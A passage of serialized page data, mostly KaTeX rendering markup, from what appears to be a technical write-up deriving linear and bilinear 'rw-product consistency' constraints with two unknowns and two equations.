8758},[1211,28],[118760],{"type":23,"tag":134,"props":118761,"children":118763},{"className":118762},[1211],[118764],{"type":28,"value":118233},{"type":23,"tag":134,"props":118766,"children":118768},{"className":118767,"style":92559},[1211],[118769],{"type":28,"value":247},{"type":23,"tag":134,"props":118771,"children":118773},{"className":118772},[1211],[118774,118783],{"type":23,"tag":134,"props":118775,"children":118777},{"className":118776},[1211,28],[118778],{"type":23,"tag":134,"props":118779,"children":118781},{"className":118780},[1211],[118782],{"type":28,"value":118252},{"type":23,"tag":134,"props":118784,"children":118786},{"className":118785},[1228],[118787],{"type":23,"tag":134,"props":118788,"children":118790},{"className":118789},[1233,21120],[118791,118820],{"type":23,"tag":134,"props":118792,"children":118794},{"className":118793},[1238],[118795,118815],{"type":23,"tag":134,"props":118796,"children":118798},{"className":118797,"style":93088},[1243],[118799],{"type":23,"tag":134,"props":118800,"children":118801},{"style":113689},[118802,118806],{"type":23,"tag":134,"props":118803,"children":118805},{"className":118804,"style":1253},[1252],[],{"type":23,"tag":134,"props":118807,"children":118809},{"className":118808},[1258,1259,1260,1261],[118810],{"type":23,"tag":134,"props":118811,"children":118813},{"className":118812,"style":113782},[1211,21066,1261],[118814],{"type":28,"value":8116},{"type":23,"tag":134,"props":118816,"children":118818},{"className":118817},[21223],[118819],{"type":28,"value":21226},{"type":23,"tag":134,"props":118821,"children":118823},{"className":118822},[1238],[118824],{"type":23,"tag":134,"props":118825,"children":118827},{"className":118826,"style":118469},[1243],[118828],{"type":23,"tag":134,"props":118829,"children":118830},{},[],{"type":23,"tag":24,"props":118832,"children":118833},{},[118834,118836,118841],{"type":28,"value":118835},"This check is linear in ",{"type":23,"tag":92,"props":118837,"children":118839},{"className":118838},[],[118840],{"type":28,"value":118573},{"type":28,"value":720},{"type":23,"tag":4890,"props":118843,"children":118844},{"start":147},[118845],{"type":23,"tag":4894,"props":118846,"children":118847},{},[118848,118853,118855,118860],{"type":23,"tag":2532,"props":118849,"children":118850},{},[118851],{"type":28,"value":118852},"rw-product consistency",{"type":28,"value":118854}," (bilinear in ",{"type":23,"tag":92,"props":118856,"children":118858},{"className":118857},[],[118859],{"type":28,"value":118573},{"type":28,"value":23436},{"type":23,"tag":24,"props":118862,"children":118863},{},[118864],{"type":23,"tag":92,"props":118865,"children":118867},{"className":118866},[1183,1184],[118868],{"type":23,"tag":134,"props":118869,"children":118871},{"className":118870},[1189],[118872],{"type":23,"tag":134,"props":118873,"children":118875},{"className":118874,"ariaHidden":1195},[1194],[118876,119047,119218],{"type":23,"tag":134,"props":118877,"children":118879},{"className":118878},[1200],[118880,118884,118941,118945,118954,118959,118968,118973,119034,119038,119043],{"type":23,"tag":134,"props":118881,"children":118883},{"className":118882,"style":92501},[1205],[],{"type":23,"tag":134,"props":118885,"children":118887},{"className":118886},[21102],[118888,118893],{"type":23,"tag":134,"props":118889,"children":118891},{"className":118890,"style":21109},[21102,21107,21108],[118892],{"type":28,"value":118157},{"type":23,"tag":134,"props":118894,"children":118896},{"className":118895},[1228],[118897],{"type":23,"tag":134,"props":118898,"children":118900},{"className":118899},[1233,21120],[118901,118930],{"type":23,"tag":134,"props":118902,"children":118904},{"className":118903},[1238],[118905,118925],{"type":23,"tag":134,"props":118906,"children":118908},{"className":118907,"style":113766},[1243],[118909],{"type":23,"tag":134,"props":118910,"children":118911},{"style":21133},[118912,118916],{"type":23,"tag":134,"props":118913,"children":118915},{"className":118914,"style":1253},[1252],[],{"type":23,"tag":134,"props":118917,"children":118919},{"className":118918},[1258,1259,1260,1261],[118920],{"type":23,"tag":134,"props":118921,"children":118923},{"className":118922},[1211,21066,1261],[118924],{"type":28,"value":929},{"type":23,"tag":134,"props":118926,"children":118928},{"className":118927},[21223],[118929],{"type":28,"value":21226},{"type":23,"tag":134,"props":118931,"children":118933},{"className":118932},[1238],[118934],{"type":23,"tag":134,"props":118935,"children":118937},{"className":118936,"style":114046},[1243],[118938],{"type":23,"tag":134,"props":118939,"children":118940},{},[],{"type":23,"tag":134,"props":118942,"children":118944},{"className":118943,"style":1331},[1292],[],{"type":23,"tag":134,"props":118946,"children":118948},{"className":118947},[1211,28],[118949],{"type":23,"tag":134,"props":118950,"children":118952},{"className":118951},[1211],[118953],{"type":28,"value":93378},{"type":23,"tag":134,"props":118955,"children":118957},{"className":118956,"style":92559},[1211],[118958],{"type":28,"value":247},{"type":23,"tag":134,"props":118960,"children":118962},{"className":118961},[1211,28],[118963],{"type":23,"tag":134,"props":118964,"children":118966},{"className":118965},[1211],[118967],{"type":28,"value":118233},{"type":23,"tag":134,"props":118969,"children":118971},{"className":118970,"style":92559},[1211],[118972],{"type":28,"value":247},{"type":23,"tag":134,"props":118974,"children":118976},{"className":118975},[1211],[118977,118986],{"type":23,"tag":134,"props":118978,"children":118980},{"className":118979},[1211,28],[118981],{"type":23,"tag":134,"props":118982,"children":118984},{"className":118983},[1211],[118985],{"type":28,"value":118252},{"type":23,"tag":134,"props":118987,"children":118989},{"className":118988},[1228],[118990],{"type":23,"tag":134,"props":118991,"children":118993},{"className":118992},[1233,21120],[118994,119023],{"type":23,"tag":134,"props":118995,"children":118997},{"className":118996},[1238],[118998,119018],{"type":23,"tag":134,"props":118999,"children":119001},{"className":119000,"style":93088},[1243],[119002],{"type":23,"tag":134,"props":119003,"children":119004},{"style":113689},[119005,119009],{"type":23,"tag":134,"props":119006,"children":119008},{"className":119007,"style":1253},[1252],[],{"type":23,"tag":134,"props":119010,"children":119012},{"className":119011},[1258,1259,1260,1261],[119013],{"type":23,"tag":134,"props":119014,"children":119016},{"className":119015},[1211,21066,1261],[119017],{"type":28,"value":929},{"type":23,"tag":134,"props":119019,"children":119021},{"className":119020},[21223],[119022],{"type":28,"value":21226},{"type":23,"tag":134,"props":119024,"children":119026},{"className":119025},[1238],[119027],{"type":23,"tag":134,"props":119028,"children":119030},{"className":119029,"style":92642},[1243],[119031],{"type":23,"tag":134,"props":119032,"children":119033},{},[],{"type":23,"tag":134,"props":119035,"children":119037},{"className":119036,"style":1390},[1292],[],{"type":23,"tag":134,"props":119039,"children":119041},{"className":119040},[1395],[119042],{"type":28,"value":257},{"type":23,"tag":134,"props":119044,"children":119046},{"className":119045,"style":1390},[1292],[],{"type":23,"tag":134,"props":119048,"children":119050},{"className":119049},[1200],[119051,119055,119112,119116,119125,119130,119139,119144,119205,119209,119214],{"type":23,"tag":134,"props":119052,"children":119054},{"className":119053,"style":118321},[1205],[],{"type":23,"tag":134,"props":119056,"children":119058},{"className":119057},[21102],[119059,119064],{"type":23,"tag":134,"props":119060,"children":119062},{"className":119061,"style":21109},[21102,21107,21108],[119063],{"type":28,"value":118157},{"type":23,"tag":134,"props":119065,"children":119067},{"className":119066},[1228],[119068],{"type":23,"tag":134,"props":119069,"children":119071},{"className":119070},[1233,21120],[119072,119101],{"type":23,"tag":134,"props":119073,"children":119075},{"className":119074},[1238],[119076,119096],{"type":23,"tag":134,"props":119077,"children":119079},{"className":119078,"style":113766},[1243],[119080],{"type":23,"tag":134,"props":119081,"children":119082},{"style":21133},[119083,119087],{"type":23,"tag":134,"props":119084,"children":119086},{"className":119085,"style":1253},[1252],[],{"type":23,"tag":134,"props":119088,"children":119090},{"className":119089},[1258,1259,1260,1261],[119091],{"type":23,"tag":134,"props":119092,"children":119094},{"className":119093,"style":113782},[1211,21066,1261],[119095],{"type":28,"value":8116},{"type":23,"tag":134,"props":119097,"children":119099},{"className":119098},[21223],[119100],{"type":28,"value":21226},{"type":23,"tag":134,"props":119102,"children":119104},{"className":119103},[1238],[119105],{"type":23,"tag":134,"props":119106,"children":119108},{"className":119107,"style":113797},[1243],[119109],{"type":23,"tag":134,"props":119110,"children":119111},{},[],{"type":23,"tag":134,"props":119113,"children":119115},{"className":119114,"style":1331},[1292],[],{"type":23,"tag":134,"props":119117,"children":119119},{"className":119118},[1211,28],[119120],{"type":23,"tag":134,"props":119121,"children":119123},{"className":119122},[1211],[119124],{"type":28,"value":49077},{"type":23,"tag":134,"props":119126,"children":119128},{"className":119127,"style":92559},[1211],[119129],{"type":28,"value":247},{"type":23,"tag":134,"props":119131,"children":119133},{"className":119132},[1211,28],[119134],{"type":23,"tag":134,"props":119135,"children":119137},{"className":119136},[1211],[119138],{"type":28,"value":118233},{"type":23,"tag":134,"props":119140,"children":119142},{"className":119141,"style":92559},[1211],[119143],{"type":28,"value":247},{"type":23,"tag":134,"props":119145,"children":119147},{"className":119146},[1211],[119148,119157],{"type":23,"tag":134,"props":119149,"children":119151},{"className":119150},[1211,28],[119152],{"type":23,"tag":134,"props":119153,"children":119155},{"className":119154},[1211],[119156],{"type":28,"value":118252},{"type":23,"tag":134,"props":119158,"children":119160},{"className":119159},[1228],[119161],{"type":23,"tag":134,"props":119162,"children":119164},{"className":119163},[1233,21120],[119165,119194],{"type":23,"tag":134,"props":119166,"children":119168},{"className":119167},[1238],[119169,119189],{"type":23,"tag":134,"props":119170,"children":119172},{"className":119171,"style":93088},[1243],[119173],{"type":23,"tag":134,"props":119174,"children":119175},{"style":113689},[119176,119180],{"type":23,"tag":134,"props":119177,"children":119179},{"className":119178,"style":1253},[1252],[],{"type":23,"tag":134,"props":119181,"children":119183},{"className":119182},[1258,1259,1260,1261],[119184],{"type":23,"tag":134,"props":119185,"children":119187},{"className":119186,"style":113782},[1211,21066,1261],[119188],{"type":28,"value":8116},{"type":23,"tag":134,"props":119190,"children":119192},{"className":119191},[21223],[119193],{"type":28,"value":21226},{"type":23,"tag":134,"props":119195,"children":119197},{"className":119196},[1238],[119198],{"type":23,"tag":134,"props":119199,"children":119201},{"className":119200,"style":118469},[1243],[119202],{"type":23,"tag":134,"props":119203,"children":119204},{},[],{"type":23,"tag":134,"props":119206,"children":119208},{"className":119207,"style":1293},[1292],[],{"type":23,"tag":134,"props":119210,"children":119212},{"className":119211},[1298],[119213],{"type":28,"value":110821},{"type":23,"tag":134,"props":119215,"children":119217},{"className":119216,"style":1293},[1292],[],{"type":23,"tag":134,"props":119219,"children":119221},{"className":119220},[1200],[119222,119226,119231,119240],{"type":23,"tag":134,"props":119223,"children":119225},{"className":119224,"style":1313},[1205],[],{"type":23,"tag":134,"props":119227,"children":119229},{"className":119228},[21195],[119230],{"type":28,"value":272},{"type":23,"tag":134,"props":119232,"children":119234},{"className":119233},[1211,28],[119235],{"type":23,"tag":134,"props":119236,"children":119238},{"className":119237},[1211],[119239],{"type":28,"value":118509},{"type":23,"tag":134,"props":119241,"children":119243},{"className":119242},[21217],[119244],{"type":28,"value":296},{"type":23,"tag":24,"props":119246,"children":119247},{},[119248,119250,119419,119420,119589],{"type":28,"value":119249},"If we vary ",{"type":23,"tag":92,"props":119251,"children":119253},{"className":119252},[1183,1184],[119254],{"type":23,"tag":134,"props":119255,"children":119257},{"className":119256},[1189],[119258],{"type":23,"tag":134,"props":119259,"children":119261},{"className":119260,"ariaHidden":1195},[1194],[119262,119340],{"type":23,"tag":134,"props":119263,"children":119265},{"className":119264},[1200],[119266,119270,119327,119331,119336],{"type":23,"tag":134,"props":119267,"children":119269},{"className":119268,"style":109529},[1205],[],{"type":23,"tag":134,"props":119271,"children":119273},{"className":119272},[1211],[119274,119279],{"type":23,"tag":134,"props":119275,"children":119277},{"className":119276},[1211,21066],[119278],{"type":28,"value":18752},{"type":23,"tag":134,"props":119280,"children":119282},{"className":119281},[1228],[119283],{"type":23,"tag":134,"props":119284,"children":119286},{"className":119285},[1233,21120],[119287,119316],{"type":23,"tag":134,"props":119288,"children":119290},{"className":119289},[1238],[119291,119311],{"type":23,"tag":134,"props":119292,"children":119294},{"className":119293,"style":92611},[1243],[119295],{"type":23,"tag":134,"props":119296,"children":119297},{"style":92615},[119298,119302],{"type":23,"tag":134,"props":119299,"children":119301},{"className":119300,"style":1253},[1252],[],{"type":23,"tag":134,"props":119303,"children":119305},{"className":119304},[1258,1259,1260,1261],[119306],{"type":23,"tag":134,"props":119307,"children":119309},{"className":119308},[1211,1261],[119310],{"type":28,"value":1224},{"type":23,"tag":134,"props":119312,"children":119314},{"className":119313},[21223],[119315],{"type":28,"value":21226},{"type":23,"tag":134,"props":119317,"children":119319},{"className":119318},[1238],[119320],{"type":23,"tag":134,"props":119321,"children":119323},{"className":119322,"style":92642},[1243],[119324],{"type":23,"tag":134,"props":119325,"children":119326},{},[],{"type":23,"tag":134,"props":119328,"children":119330},{"className":119329,"style":1390},[1292],[],{"type":23,"tag":134,"props":119332,"children":119334},{"className":119333},[1395],[119335],{"type":28,"value":257},{"type":23,"tag":134,"props":119337,"children":119339},{"className":119338,"style":1390},[1292],[],{"type":23,"tag":134,"props":119341,"children":119343},{"className":119342},[1200],[119344,119348,119389,119394,119399,119404,119409,119414],{"type":23,"tag":134,"props":119345,"children":119347},{"className":119346,"style":92501},[1205],[],{"type":23,"tag":134,"props":119349,"children":119351},{"className":119350},[1211],[119352,119361,119366,119375,119380],{"type":23,"tag":134,"props":119353,"children":119355},{"className":119354},[1211,28],[119356],{"type":23,"tag":134,"props":119357,"children":119359},{"className":119358},[1211],[119360],{"type":28,"value":93378},{"type":23,"tag":134,"props":119362,"children":119364},{"className":119363,"style":92559},[1211],[119365],{"type":28,"value":247},{"type":23,"tag":134,"props":119367,"children":119369},{"className":119368},[1211,28],[119370],{"type":23,"tag":134,"props":119371,"children":119373},{"className":119372},[1211],[119374],{"type":28,"value":118233},{"type":23,"tag":134,"props":119376,"children":119378},{"className":119377,"style":92559},[1211],[119379],{"type":28,"value":247},{"type":23,"tag":134,"props":119381,"children":119383},{"className":119382},[1211,28],[119384],{"type":23,"tag":134,"props":119385,"children":119387},{"className":119386},[1211],[119388],{"type":28,"value":118252},{"type":23,"tag":134,"props":119390,"children":119392},{"className":119391},[21195],[119393],{"type":28,"value":924},{"type":23,"tag":134,"props":119395,"children":119397},{"className":119396},[1211],[119398],{"type":28,"value":1224},{"type":23,"tag":134,"props":119400,"children":119402},{"className":119401},[21217],[119403],{"type":28,"value":14880},{"type":23,"tag":134,"props":119405,"children":119407},{"className":119406},[21195],[119408],{"type":28,"value":924},{"type":23,"tag":134,"props":119410,"children":119412},{"className":119411},[1211],[119413],{"type":28,"value":1224},{"type":23,"tag":134,"props":119415,"children":119417},{"className":119416},[21217],[119418],{"type":28,"value":14880},{"type":28,"value":10458},{"type":23,"tag":92,"props":119421,"children":119423},{"className":119422},[1183,1184],[119424],{"type":23,"tag":134,"props":119425,"children":119427},{"className":119426},[1189],[119428],{"type":23,"tag":134,"props":119429,"children":119431},{"className":119430,"ariaHidden":1195},[1194],[119432,119510],{"type":23,"tag":134,"props":119433,"children":119435},{"className":119434},[1200],[119436,119440,119497,119501,119506],{"type":23,"tag":134,"props":119437,"children":119439},{"className":119438,"style":109529},[1205],[],{"type":23,"tag":134,"props":119441,"children":119443},{"className":119442},[1211],[119444,119449],{"type":23,"tag":134,"props":119445,"children":119447},{"className":119446},[1211,21066],[119448],{"type":28,"value":18752},{"type":23,"tag":134,"props":119450,"children":119452},{"className":119451},[1228],[119453],{"type":23,"tag":134,"props":119454,"children":119456},{"className":119455},[1233,21120],[119457,119486],{"type":23,"tag":134,"props":119458,"children":119460},{"className":119459},[1238],[119461,119481],{"type":23,"tag":134,"props":119462,"children":119464},{"className":119463,"style":92611},[1243],[119465],{"type":23,"tag":134,"props":119466,"children":119467},{"style":92615},[119468,119472],{"type":23,"tag":134,"props":119469,"children":119471},{"className":119470,"style":1253},[1252],[],{"type":23,"tag":134,"props":119473,"children":119475},{"className":119474},[1258,1259,1260,1261],[119476],{"type":23,"tag":134,"props":119477,"children":119479},{"className":119478},[1211,1261],[119480],{"type":28,"value":1214},{"type":23,"tag":134,"props":119482,"children":119484},{"className":119483},[21223],[119485],{"type":28,"value":21226},{"type":23,"tag":134,"props":119487,"children":119489},{"className":119488},[1238],[119490],{"type":23,"tag":134,"props":119491,"children":119493},{"className":119492,"style":92642},[1243],[119494],{"type":23,"tag":134,"props":119495,"children":119496},{},[],{"type":23,"tag":134,"props":119498,"children":119500},{"className":119499,"style":1390},[1292],[],{"type":23,"tag":134,"props":119502,"children":119504},{"className":119503},[1395],[119505],{"type":28,"value":257},{"type":23,"tag":134,"props":119507,"children":119509},{"className":119508,"style":1390},[1292],[],{"type":23,"tag":134,"props":119511,"children":119513},{"className":119512},[1200],[119514,119518,119559,119564,119569,119574,119579,119584],{"type":23,"tag":134,"props":119515,"children":119517},{"className":119516,"style":92501},[1205],[],{"type":23,"tag":134,"props":119519,"children":119521},{"className":119520},[1211],[119522,119531,119536,119545,119550],{"type":23,"tag":134,"props":119523,"children":119525},{"className":119524},[1211,28],[119526],{"type":23,"tag":134,"props":119527,"children":119529},{"className":119528},[1211],[119530],{"type":28,"value":93378},{"type":23,"tag":134,"props":119532,"children":119534},{"className":119533,"style":92559},[1211],[119535],{"type":28,"value":247},{"type":23,"tag":134,"props":119537,"children":119539},{"className":119538},[1211,28],[119540],{"type":23,"tag":134,"props":119541,"children":119543},{"className":119542},[1211],[119544],{"type":28,"value":118233},{"type":23,"tag":134,"props":119546,"children":119548},{"className":119547,"style":92559},[1211],[119549],{"type":28,"value":247},{"type":23,"tag":134,"props":119551,"children":119553},{"className":119552},[1211,28],[119554],{"type":23,"tag":134,"props":119555,"children":119557},{"className":119556},[1211],[119558],{"type":28,"value":118252},{"type":23,"tag":134,"props":119560,"children":119562},{"className":119561},[21195],[119563],{"type":28,"value":924},{"type":23,"tag":134,"props":119565,"children":119567},{"className":119566},[1211],[119568],{"type":28,"value":1224},{"type":23,"tag":134,"props":119570,"children":119572},{"className":119571},[21217],[119573],{"type":28,"value":14880},{"type":23,"tag":134,"props":119575,"children":119577},{"className":119576},[21195],[119578],{"type":28,"value":924},{"type":23,"tag":134,"props":119580,"children":119582},{"className":119581},[1211],[119583],{"type":28,"value":1214},{"type":23,"tag":134,"props":119585,"children":119587},{"className":119586},[21217],[119588],{"type":28,"value":14880},{"type":28,"value":119590}," we get the following constraint:",{"type":23,"tag":24,"props":119592,"children":119593},{},[119594],{"type":23,"tag":92,"props":119595,"children":119597},{"className":119596},[1183,1184],[119598],{"type":23,"tag":134,"props":119599,"children":119601},{"className":119600},[1189],[119602],{"type":23,"tag":134,"props":119603,"children":119605},{"className":119604,"ariaHidden":1195},[1194],[119606,119685,119763,119804],{"type":23,"tag":134,"props":119607,"children":119609},{"className":119608},[1200],[119610,119615,119672,119676,119681],{"type":23,"tag":134,"props":119611,"children":119614},{"className":119612,"style":119613},[1205],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":119616,"children":119618},{"className":119617},[1211],[119619,119624],{"type":23,"tag":134,"props":119620,"children":119622},{"className":119621},[1211,21066],[119623],{"type":28,"value":18752},{"type":23,"tag":134,"props":119625,"children":119627},{"className":119626},[1228],[119628],{"type":23,"tag":134,"props":119629,"children":119631},{"className":119630},[1233,21120],[119632,119661],{"type":23,"tag":134,"props":119633,"children":119635},{"className":119634},[1238],[119636,119656],{"type":23,"tag":134,"props":119637,"children":119639},{"className":119638,"style":92611},[1243],[119640],{"type":23,"tag":134,"props":119641,"children":119642},{"style":92615},[119643,119647],{"type":23,"tag":134,"props":119644,"children":119646},{"className":119645,"style":1253},[1252],[],{"type":23,"tag":134,"props":119648,"children":119650},{"className":119649},[1258,1259,1260,1261],[119651],{"type":23,"tag":134,"props":119652,"children":119654},{"className":119653},[1211,1261],[119655],{"type":28,"value":1224},{"type":23,"tag":134,"props":119657,"children":119659},{"className":119658},[21223],[119660],{"type":28,"value":21226},{"type":23,"tag":134,"props":119662,"children":119664},{"className":119663},[1238],[119665],{"type":23,"tag":134,"props":119666,"children":119668},{"className":119667,"style":92642},[1243],[119669],{"type":23,"tag":134,"props":119670,"children":119671},{},[],{"type":23,"tag":134,"props":119673,"children":119675},{"className":119674,"style":1293},[1292],[],{"type":23,"tag":134,"props":119677,"children":119679},{"className":119678},[1298],[119680],{"type":28,"value":110821},{"type":23,"tag":134,"props":119682,"children":119684},{"className":119683,"style":1293},[1292],[],{"type":23,"tag":134,"props":119686,"children":119688},{"className":119687},[1200],[119689,119693,119750,119754,119759],{"type":23,"tag":134,"props":119690,"children":119692},{"className":119691,"style":119613},[1205],[],{"type":23,"tag":134,"props":119694,"children":119696},{"className":119695},[1211],[119697,119702],{"type":23,"tag":134,"props":119698,"children":119700},{"className":119699},[1211,21066],[119701],{"type":28,"value":18752},{"type":23,"tag":134,"props":119703,"children":119705},{"className":119704},[1228],[119706],{"type":23,"tag":134,"props":119707,"children":119709},{"className":119708},[1233,21120],[119710,119739],{"type":23,"tag":134,"props":119711,"children":119713},{"className":119712},[1238],[119714,119734],{"type":23,"tag":134,"props":119715,"children":119717},{"className":119716,"style":92611},[1243],[119718],{"type":23,"tag":134,"props":119719,"children":119720},{"style":92615},[119721,119725],{"type":23,"tag":134,"props":119722,"children":119724},{"className":119723,"style":1253},[1252],[],{"type":23,"tag":134,"props":119726,"children":119728},{"className":119727},[1258,1259,1260,1261],[119729],{"type":23,"tag":134,"props":119730,"children":119732},{"className":119731},[1211,1261],[119733],{"type":28,"value":1214},{"type":23,"tag":134,"props":119735,"children":119737},{"className":119736},[21223],[119738],{"type":28,"value":21226},{"type":23,"tag":134,"props":119740,"children":119742},{"className":119741},[1238],[119743],{"type":23,"tag":134,"props":119744,"children":119746},{"className":119745,"style":92642},[1243],[119747],{"type":23,"tag":134,"props":119748,"children":119749},{},[],{"type":23,"tag":134,"props":119751,"children":119753},{"className":119752,"style":1293},[1292],[],{"type":23,"tag":134,"props":119755,"children":119757},{"className":119756},[1298],[119758],{"type":28,"value":110821},{"type":23,"tag":134,"props":119760,"children":119762},{"className":119761,"style":1293},[1292],[],{"type":23,"tag":134,"props":119764,"children":119766},{"className":119765},[1200],[119767,119771,119776,119786,119791,119795,119800],{"type":23,"tag":134,"props":119768,"children":119770},{"className":119769,"style":1313},[1205],[],{"type":23,"tag":134,"props":119772,"children":119774},{"className":119773},[21195],[119775],{"type":28,"value":272},{"type":23,"tag":134,"props":119777,"children":119779},{"className":119778},[1211,28],[119780],{"type":23,"tag":134,"props":119781,"children":119783},{"className":119782},[1211],[119784],{"type":28,"value":119785},"rest of product",{"type":23,"tag":134,"props":119787,"children":119789},{"className":119788},[21217],[119790],{"type":28,"value":296},{"type":23,"tag":134,"props":119792,"children":119794},{"className":119793,"style":1390},[1292],[],{"type":23,"tag":134,"props":119796,"children":119798},{"className":119797},[1395],[119799],{"type":28,"value":257},{"type":23,"tag":134,"props":119801,"children":119803},{"className":119802,"style":1390},[1292],[],{"type":23,"tag":134,"props":119805,"children":119807},{"className":119806},[1200],[119808,119812],{"type":23,"tag":134,"props":119809,"children":119811},{"className":119810,"style":114579},[1205],[],{"type":23,"tag":134,"props":119813,"children":119815},{"className":119814},[1211,28],[119816],{"type":23,"tag":134,"props":119817,"children":119819},{"className":119818},[1211],[119820],{"type":28,"value":114590},{"type":23,"tag":24,"props":119822,"children":119823},{},[119824,119826,119979],{"type":28,"value":119825},"This is bilinear in ",{"type":23,"tag":92,"props":119827,"children":119829},{"className":119828},[1183,1184],[119830],{"type":23,"tag":134,"props":119831,"children":119833},{"className":119832},[1189],[119834],{"type":23,"tag":134,"props":119835,"children":119837},{"className":119836,"ariaHidden":1195},[1194],[119838],{"type":23,"tag":134,"props":119839,"children":119841},{"className":119840},[1200],[119842,119846,119851,119908,119913,119917,119974],{"type":23,"tag":134,"props":119843,"children":119845},{"className":119844,"style":1313},[1205],[],{"type":23,"tag":134,"props":119847,"children":119849},{"className":119848},[21195],[119850],{"type":28,"value":272},{"type":23,"tag":134,"props":119852,"children":119854},{"className":119853},[1211],[119855,119860],{"type":23,"tag":134,"props":119856,"children":119858},{"className":119857},[1211,21066],[119859],{"type":28,"value":18752},{"type":23,"tag":134,"props":119861,"children":119863},{"className":119862},[1228],[119864],{"type":23,"tag":134,"props":119865,"children":119867},{"className":119866},[1233,21120],[119868,119897],{"type":23,"tag":134,"props":119869,"children":119871},{"className":119870},[1238],[119872,119892],{"type":23,"tag":134,"props":119873,"children":119875},{"className":119874,"style":92611},[1243],[119876],{"type":23,"tag":134,"props":119877,"children":119878},{"style":92615},[119879,119883],{"type":23,"tag":134,"props":119880,"children":119882},{"className":119881,"style":1253},[1252],[],{"type":23,"tag":134,"props":119884,"children":119886},{"className":119885},[1258,1259,1260,1261],[119887],{"type":23,"tag":134,"props":119888,"children":119890},{"className":119889},[1211,1261],[119891],{"type":28,"value":1224},{"type":23,"tag":134,"props":119893,"children":119895},{"className":119894},[21223],[119896],{"type":28,"value":21226},{"type":23,"tag":134,"props":119898,"children":119900},{"className":119899},[1238],[119901],{"type":23,"tag":134,"props":119902,"children":119904},{"className":119903,"style":92642},[1243],[119905],{"type":23,"tag":134,"props":119906,"children":119907},{},[],{"type":23,"tag":134,"props":119909,"children":119911},{"className":119910},[1324],[119912],{"type":28,"value":1327},{"type":23,"tag":134,"props":119914,"children":119916},{"className":119915,"style":1331},[1292],[],{"type":23,"tag":134,"props":119918,"children":119920},{"className":119919},[1211],[119921,119926],{"type":23,"tag":134,"props":119922,"children":119924},{"className":119923},[1211,21066],[119925],{"type":28,"value":18752},{"type":23,"tag":134,"props":119927,"children":119929},{"className":119928},[1228],[119930],{"type":23,"tag":134,"props":119931,"children":119933},{"className":119932},[1233,21120],[119934,119963],{"type":23,"tag":134,"props":119935,"children":119937},{"className":119936},[1238],[119938,119958],{"type":23,"tag":134,"props":119939,"children":119941},{"className":119940,"style":92611},[1243],[119942],{"type":23,"tag":134,"props":119943,"children":119944},{"style":92615},[119945,119949],{"type":23,"tag":134,"props":119946,"children":119948},{"className":119947,"style":1253},[1252],[],{"type":23,"tag":134,"props":119950,"children":119952},{"className":119951},[1258,1259,1260,1261],[119953],{"type":23,"tag":134,"props":119954,"children":119956},{"className":119955},[1211,1261],[119957],{"type":28,"value":1214},{"type":23,"tag":134,"props":119959,"children":119961},{"className":119960},[21223],[119962],{"type":28,"value":21226},{"type":23,"tag":134,"props":119964,"children":119966},{"className":119965},[1238],[119967],{"type":23,"tag":134,"props":119968,"children":119970},{"className":119969,"style":92642},[1243],[119971],{"type":23,"tag":134,"props":119972,"children":119973},{},[],{"type":23,"tag":134,"props":119975,"children":119977},{"className":119976},[21217],[119978],{"type":28,"value":296},{"type":28,"value":720},{"type":23,"tag":24,"props":119981,"children":119982},{},[119983,119985,120138],{"type":28,"value":119984},"We have two unknowns ",{"type":23,"tag":92,"props":119986,"children":119988},{"className":119987},[1183,1184],[119989],{"type":23,"tag":134,"props":119990,"children":119992},{"className":119991},[1189],[119993],{"type":23,"tag":134,"props":119994,"children":119996},{"className":119995,"ariaHidden":1195},[1194],[119997],{"type":23,"tag":134,"props":119998,"children":120000},{"className":119999},[1200],[120001,120005,120010,120067,120072,120076,120133],{"type":23,"tag":134,"props":120002,"children":120004},{"className":120003,"style":1313},[1205],[],{"type":23,"tag":134,"props":120006,"children":120008},{"className":120007},[21195],[120009],{"type":28,"value":272},{"type":23,"tag":134,"props":120011,"children":120013},{"className":120012},[1211],[120014,120019],{"type":23,"tag":134,"props":120015,"children":120017},{"className":120016},[1211,21066],[120018],{"type":28,"value":18752},{"type":23,"tag":134,"props":120020,"children":120022},{"className":120021},[1228],[120023],{"type":23,"tag":134,"props":120024,"children":120026},{"className":120025},[1233,21120],[120027,120056],{"type":23,"tag":134,"props":120028,"children":120030},{"className":120029},[1238],[120031,120051],{"type":23,"tag":134,"props":120032,"children":120034},{"className":120033,"style":92611},[1243],[120035],{"type":23,"tag":134,"props":120036,"children":120037},{"style":92615},[120038,120042],{"type":23,"tag":134,"props":120039,"children":120041},{"className":120040,"style":1253},[1252],[],{"type":23,"tag":134,"props":120043,"children":120045},{"className":120044},[1258,1259,1260,1261],[120046],{"type":23,"tag":134,"props":120047,"children":120049},{"className":120048},[1211,1261],[120050],{"type":28,"value":1224},{"type":23,"tag":134,"props":120052,"children":120054},{"className":120053},[21223],[120055],{"type":28,"value":21226},{"type":23,"tag":134,"props":120057,"children":120059},{"className":120058},[1238],[120060],{"type":23,"tag":134,"props":120061,"children":120063},{"className":120062,"style":92642},[1243],[120064],{"type":23,"tag":134,"props":120065,"children":120066},{},[],{"type":23,"tag":134,"props":120068,"children":120070},{"className":120069},[1324],[120071],{"type":28,"value":1327},{"type":23,"tag":134,"props":120073,"children":120075},{"className":120074,"style":1331},[1292],[],{"type":23,"tag":134,"props":120077,"children":120079},{"className":120078},[1211],[120080,120085],{"type":23,"tag":134,"props":120081,"children":120083},{"className":120082},[1211,21066],[120084],{"type":28,"value":18752},{"type":23,"tag":134,"props":120086,"children":120088},{"className":120087},[1228],[120089],{"type":23,"tag":134,"props":120090,"children":120092},{"className":120091},[1233,21120],[120093,120122],{"type":23,"tag":134,"props":120094,"children":120096},{"className":120095},[1238],[120097,120117],{"type":23,"tag":134,"props":120098,"children":120100},{"className":120099,"style":92611},[1243],[120101],{"type":23,"tag":134,"props":120102,"children":120103},{"style":92615},[120104,120108],{"type":23,"tag":134,"props":120105,"children":120107},{"className":120106,"style":1253},[1252],[],{"type":23,"tag":134,"props":120109,"children":120111},{"className":120110},[1258,1259,1260,1261],[120112],{"type":23,"tag":134,"props":120113,"children":120115},{"className":120114},[1211,1261],[120116],{"type":28,"value":1214},{"type":23,"tag":134,"props":120118,"children":120120},{"className":120119},[21223],[120121],{"type":28,"value":21226},{"type":23,"tag":134,"props":120123,"children":120125},{"className":120124},[1238],[120126],{"type":23,"tag":134,"props":120127,"children":120129},{"className":120128,"style":92642},[1243],[120130],{"type":23,"tag":134,"props":120131,"children":120132},{},[],{"type":23,"tag":134,"props":120134,"children":120136},{"className":120135},[21217],[120137],{"type":28,"value":296},{"type":28,"value":120139}," and two equations, one linear and one 